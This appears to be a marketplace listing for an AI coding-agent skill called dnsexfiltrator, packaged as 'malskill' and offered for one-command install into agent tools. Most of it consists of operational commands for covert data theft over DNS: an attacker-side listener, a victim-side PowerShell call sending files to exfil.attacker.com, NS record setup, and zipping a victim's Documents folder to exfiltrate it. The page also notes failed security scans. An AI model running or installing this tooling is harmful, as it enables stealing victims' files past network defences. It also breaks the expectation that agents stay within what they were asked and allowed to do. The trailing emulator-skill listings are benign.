offensive-tools/data-exfiltration/dnsexfiltrator/SKILL.md
Exfiltrate data over DNS queries using a custom DNS server. Use when HTTP/S channels are blocked and DNS traffic is allowed outbound, enabling covert file transfer via DNS TXT/A records.
npx skillsauth add aeondave/malskill dnsexfiltratorInstall this skill globally with one command. Works with Claude Code, Cursor, and Windsurf.
3 of 9 scanners reported clean
Some scanners were skipped, did not run, or reported a non-clean status. Review each row below.
Covert file exfiltration via DNS — Python server receives, PowerShell client sends.
# Attacker side — start DNS server (needs port 53 UDP)
sudo python3 dnsexfiltrator.py -d exfil.attacker.com -p password
# Victim side (PowerShell)
Invoke-DNSExfiltrator -i C:\sensitive\file.zip -d exfil.attacker.com -p password -t 500
Point an NS record for your subdomain to your listener IP:
exfil.attacker.com NS ns1.attacker.com
ns1.attacker.com A <your-server-ip>
| Option | Purpose |
|--------|---------|
| -d DOMAIN | Exfil domain (server) |
| -p PASSWORD | Encryption passphrase |
| -b 64/32 | Encoding (base64/base32) |
| -t MS | Throttle between queries (ms) |
| -r N | Max retries |
Exfil archive from Windows:
# Compress first
Compress-Archive -Path C:\Users\victim\Documents -DestinationPath docs.zip
# Exfil
Invoke-DNSExfiltrator -i docs.zip -d exfil.attacker.com -p MyPass123 -t 200
| File | When to load |
|------|--------------|
| references/ | DNS setup guide and throttle tuning |
development
Auth/lab ref: Unicorn Engine CPU-only emulation for shellcode, decryptors, custom VM handlers, instruction tracing, memory hooks, and register-level experiments.
development
Auth/lab ref: Renode board and SoC simulation for MCU/RTOS firmware, UART/GPIO/peripheral modeling, GDB remote debugging, REPL platforms, and RESC scripts.
development
Auth/lab ref: Qiling OS-layer binary emulation for PE/ELF/Mach-O/UEFI/shellcode with rootfs, syscall/API hooks, filesystem mapping, and runtime patching.
databases
Auth/lab ref: QEMU user-mode and full-system emulation for cross-arch binaries, firmware, kernels, disks, serial consoles, networking, and GDB stubs.